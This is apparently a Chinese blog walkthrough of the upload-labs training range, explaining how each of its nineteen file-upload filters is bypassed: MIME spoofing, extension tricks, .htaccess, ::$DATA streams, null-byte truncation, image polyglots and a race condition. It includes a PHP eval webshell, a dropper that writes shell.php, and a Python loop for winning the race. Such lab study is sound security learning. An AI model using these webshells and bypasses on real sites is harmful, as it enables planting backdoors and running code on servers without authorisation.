upload-labs通关

文件上传漏洞初学

Posted by Sprint#51264 on October 28, 2020

引言

文件上传,通过各种绕过方式向指定服务器传含有恶意代码的非法文件或者上传不被允许的文件

readme中提醒:

配置项 配置 描述
操作系统 Window or Linux 推荐使用Windows,除了Pass-19必须在linux下,其余Pass都可以在Windows上运行
PHP版本 推荐5.2.17 其他版本可能会导致部分Pass无法突破
PHP组件 php_gd2,php_exif 部分Pass依赖这两个组件
中间件 设置Apache以moudel方式连接  

Pass-01(前端绕过)

  • 原理

    js前端校验文件后缀是否合法,可以通过禁用js或者抓包改包达到绕过的目的

  • 步骤

    0.php一句话

    <?php @eval($POST_['x']); ?>

    1.向服务器上传.php一句话木马,发现上传被禁止

    Bl73Zt.jpg

    2.将含马文件改为允许上传的后缀名,例如1.jpg

    3.打开代理,上传该文件并且进行抓包

    Bl7Yi8.jpg

    4.然后对其后缀进行更改为.php,页面会提示上传成功

    5.然后需要知道上传到了什么路径,点击图片或者拖动图片新建一个标签页

    Bl7tJS.jpg

    知晓路径,然后用菜刀连接


Pass-02(content-type)

  • 原理

    发现利用上一题改后缀的方法也是可以绕过的,但是查看源码发现,这一题考的是content-type验证

    Bl70Ln.jpg

    所以我们利用修改content-type的方法进行绕过

  • 步骤

    1.这次可以直接对.php文件进行上传

    2.抓包

    Bl7DZq.jpg

    3.对content-type属性值进行修改,因为这一次检验的是文件的MIME类型

    我们将其改为image/gif 进行绕过

    4.使用菜刀连接


Pass-03(畸形后缀)

  • 原理

    代码审计

    B8WMvR.jpg

    黑名单过滤

      1.对文件空进行过滤
    
      2.对文件后缀进行截断并转换为小写,不能混写过
    
      3.去除::$DATA
    
      4.再次去空
    
      5.文件保存时变为时间+随机数的形式
    
  • 步骤 1.打开apache配置文件httpd.conf,添加

    AddType application/x-httpd-php .php .php3 .phtml

    允许解析含有该类后缀的文件

    2.对写有小马的.phtml文件进行上传,然后用菜刀进行连接

    此处有必要提一下的就是用最新的phpstudy小皮面板更改配置之后也没有成功,要切换回老一点的版本2018版更改配置才能成功,我重新下载了2018版,可以正常做题


Pass-04(htaccess)

  • 原理

    BWhipq.jpg

    这次源码中对后缀进行了更为详细的黑名单限制

    但是没有禁止.htaccess文件

    对于该文件

    .htaccess教程:简介、访问控制、验证、目录浏览控制

  • 步骤

    0.首先要在apache服务器配置文件httpd.conf中设置

    AllowOverride All

    允许上传.htaccess文件

    1.上传一个.htaccess文件内容写

    SetHandler AddType application/x-httpd-php

    就会将所有上传的文件解析为php文件

    2.制作图片马,

    使用windows下的copy命令

    copy 1.php/a + 2.jpg/b 3.jpg

    就制作完成了

    3.上传3.jpg到服务器


Pass-05


Pass-06(大小写混写)

  • 原理

    上传黑名单限制不完全,可以使用大小写绕过

    主要是相对于之前的pass少了转换为小写一步,就会发生大小写绕过

  • 步骤

    上传页面允许的文件jpg或者png类型一句话木马

    bp抓包改后缀为可以解析的.phP3或者.phP4

    上传之后拖拽图片用其url地址进行菜刀连接就行了

    不过这里出现了一个小问题就是PHp文件可以上传但是无法解析,目前我没有搞明白


Pass-07(空格绕过)

  • 原理

    查看源码,相较上一关少了去空过程

    所以考察空格绕过

    windows下文件后的空格会被当作空处理自动删除

    但是程序检测代码不加去空函数就无法自动去空

    从而黑名单匹配不到,完成绕过

    sDOggK.jpg

  • 步骤

    1.上传php后缀文件

    2.bp拦截在php后缀后增加空格

    sDXuP1.jpg

    3.成功上传,生成文件时windows自动去空,拖图片到新标签页,复制url菜刀蚁剑连接


Pass-08(点绕过)

  • 原理

    查看源码

    sDX2in.jpg

    发现这一关去掉了删除点的过程

    点绕过原理:

    去找了找发现并没有直接介绍点绕过原理的,自己试了试才知道,还是和空格绕过差不多的

    win下在文件名后直接加点也会被自动除去

    但是在检验代码中没有加去点函数deldot()的话就无法完整匹配,从而绕过

  • 步骤

    同上pass,上传文件,bp抓包后在后缀后面加一个点,就可以上传

    然后菜刀蚁剑连接

    图略


Pass-09(::$DATA文件流)

  • 原理

    根据题目一个一个知识点的规律,我们查看源码

    srSdu6.jpg

    容易发现少了一行去::$DATA的代码

    关于这个::$DATA,它到底是什么

    在php+windows的情况下:如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名。

    Windows :: DATA备用数据流 备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。$ DATA备用流存在于每个文件,因此它可以是访问任何文件的替代方法。

    再深入理解文件流的话移步⬇

    Windows Streams 文件流介绍

    Pass09-10

  • 步骤

    但是步骤是简单的,

    上传一个php文件

    用bp拦截进行修改

    srzJK0.jpg

    放过即成功

    不过需要注意的是,拖动图片打开新标签页,记得在url栏里删掉::$DATA,因为它已经被windows系统自动删去了,否则访问就会出现403Forbidden

    菜刀蚁剑连接


Pass-10(逻辑漏洞)

  • 原理

    相比其之前的关卡来,这里没有放水删去的代码段

    这就要求我们从过滤代码中寻找其他漏洞

    发现过滤代码中每个函数只是运行一遍的,有点像双写绕过,过滤一次之后恰巧达到目的

    ssF9y9.jpg

    如果上传的是1.php. .

    那么经过删点,截后缀,转小写,去::$DATA,首尾去空,最后得到的结果还是1.php.

  • 步骤

    上传1.php

    bp拦截改名为1.php. .

    放过,打开图片链接

    菜刀蚁剑连接


Pass-11 (双后缀)

  • 原理

    代码审计

    6Fn4u8.jpg

    发现这里是有一个黑名单过滤机制,对黑名单中的违规后缀用空进行去除(注意是去除而非用空格代替)

    那么我们就可以使用双后缀原理进行绕过

  • 步骤

    上传一个双后缀文件1.pphphp

    访问图片url

    菜刀连接


Pass-12 (00截断get,路径截断)

参见Upload-labs-11-13

php.ini中设置magic_quotes_gpc = Off

代码中可以看到


$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

图片保存路径通过GET方式获取save_path,此处存在上传路径截断,只需要通过get传参方式拼接%00,即可完成截断

POST /Pass-12/index.php?save_path=../upload/1.php%00


Pass-13 (00截断post,路径截断)

关于00截断区别,直接摘取前辈的文章

  • 原理

    漏洞影响版本必须在5.4.x<= 5.4.39,5.5.x<= 5.5.23,5.6.x <= 5.6.7 ,且magic_quotes_gpc是off状态

    对于的漏洞CVE编号:https://nvd.nist.gov/vuln/detail/CVE-2015-2348

    利用原理方式:https://www.cnblogs.com/cyjaysun/p/4390930.html

    具体关于0x00截断原理

    在C/PHP等语言中,截断的核心,就是chr(0)。chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。

    那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是于这个空字符。

    当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。换句话说就是会误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生。可能有时候我们会看到%00截断和0x00截断等说法。

    那么 %00截断和0x00截断有啥区别呢?

    其实他们的截断原理都一样,%00只不过是对ascii码中的0对应的字符编码后的结果。0x开头表示16进制,0在十六进制中是00, 0x00则是%00解码成的16进制。

    需要注意:当url中的参数是通过GET方式获取时,%00会被自动解码。而当参数是通过POST方式获取时,是不会自动解码的,也就是说%00只会原样被当成字符串来输出。

    所以通过POST方式请求此类参数的时候,我们需要手动将它的十六进制改写为0x00。

  • 步骤

    
      ------WebKitFormBoundaryeTwJVBsoAqBdFnyT
      Content-Disposition: form-data; name="save_path"
    
      ../upload/12581.php<此处有个00>a
    
    

需要在上传路径save_path那里手动抓包在后添加上传的文件名+php后缀+空格并在hex里修改为00

上传的文件名处修改为允许上传的格式

上传类型改为允许上传的文件类型(content-type)


Pass-14(图片马)

  • 原理

    只能上传图片格式文件,那么就把shell.php和一张图片结合起来,再使用文件包含漏洞进行代码的获取。

    其中文件包含函数有

      require()
    
      require_once()
    
      include()
    
      include_once()
    

    require函数和include函数的区别就是include函数执行中如果出现错误,就会抛出一个警告,程序正常运行,如果require函数出现一个错误,那么程序就会终止运行。

  • 思路

    参见Uploadlabs 11-13

    整体的思路就是,先用命令行copy 含有代码的php文件还有jpg文件组成图片马,上传后使用文件包含页面对代码进行执行。

    copy /b xxx.jpg + 1.php 3.jpg

    上传然后在文件包含页面传file参数就可以了,需要注意的是文件名的随机性,最好还是先看一下图片的url。

    如果包含的是小马文件的话页面可能给一个警告,但是使用蚁剑连接的时候是没有问题的。


Pass-15(图片马)

  • 原理

    相关信息

    与上一关不同的是使用了getimagesize函数,该函数会测定相关图片的信息(文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度),成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

    此处返回的info[2]查看的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

    其他详见上链接

    也就是直接检索文件的类型。

  • 步骤

    同上pass一样


Pass-16(图片马)

  • 原理

    根据提示,本pass使用exif_imagetype()检验文件是否为图片

    exif_imagetype() 读取一个图像的第一个字节并检查其签名

  • 步骤

    不知道为什么,上传图像就会出现空白页,暂时略过


Pass-17(图片马)

  • 原理

    根据提示所说,是重新渲染了图片

    查看源码得知,是使用了imagecreatefromjpeg()函数

    上传到页面中的图像会被该函数获取标识符,判断是什么类型的图像,然后重新生成一张图片,有了这个过程我们就不能直接在图片末尾插入shell,会被这个函数删掉,所以我们需要了解不同类型的图片的构成是怎么样的。

    详见前辈博客

    upload-labs之pass 16详细分析

  • 步骤

    • 上传jpg图片

      通过使用winhex打开上传的原图和下载的上传后的图片,可以发现一些不变的数据部分,我们可以通过在不变数据的部分插入shell达到绕过的目的。

      (用普通的方式制作的图片马代码部分在图片的最后,很容易被直接删去)

    • 上传png图片

    • 上传gif文件


Pass-18(条件竞争)

  • 原理

    通过查看代码可以发现,页面先使用move_uploaded_file()函数将文件上传到服务器

    然后再检测文件的后缀是否符合白名单规定

    然后定义新的图片路径

    如果上传的文件不符和白名单限定,就会使用unlink函数执行删除操作。

    newname函数

    尝试把 oldname 重命名为 newname,必要时会在不同目录间移动。 如果重命名文件时 newname 已经存在,将会覆盖掉它。 如果重命名文件夹时 newname 已经存在,本函数将导致一个警告。

    关于条件竞争

    条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求产生等待时出现逻辑缺陷,该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

    代码执行是需要时间的,只要在删除前执行上传文件中的代码就可以达到目的,所以这需要我们不断地对网站发出上传请求,并不断地对其进行访问,总有那么一瞬间我们的代码是被执行了的。

  • 步骤

    基本思想就是,向该页面连续发出大量的请求,从而使得页面的函数执行顺序发生变化。

    参见upload-labs pass 17-18

    写一个需要上传的文件xieru.php

      <?php
      fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>');
      ?>
    

    即使上传的文件可能被爆破时产生的上传文件覆盖并被删除,但是脚本成功上传的一瞬间被访问的一瞬间会在当前目录下生成shell.php,只要访问shell.php并用蚁剑连接,就可以获取shell。

    不断上传一个php文件,用bp进行拦截,使用爆破模块不断发出请求。爆破的payload选项可以选择为null payload。

    配置Payload type是Null payloads。也就是不设置payload。下方的Continue indefinitely也就是无限重放的意思

    写脚本执行脚本对网页进行不断地访问。

      import requests
    
      url="http://uploadlabs/upload/xieru.php"
    
      while True:
    
      html = requests.get(url)
      if html.status_code == 200:
          print("OK")
          break
    

    执行脚本出现ok表示上传成功,蚁剑连接即可


Pass-19(条件竞争:图片)

  • 原理

    这一关的源码非常长,首先定义了一个白名单,首先将文件后缀与白名单进行比较,如果不符合就无法传输到服务器,需要制作图片马,上传之后会检测是否已经存在相同的文件名,如果存在就对其进行重命名,使用图片马上传,然后再结合文件包含或者是apache解析漏洞对其进行执行。

  • 步骤

    将之前的代码制作成图片马上传到服务器,然后使用文件包含漏洞不断对图片马中的函数进行读取。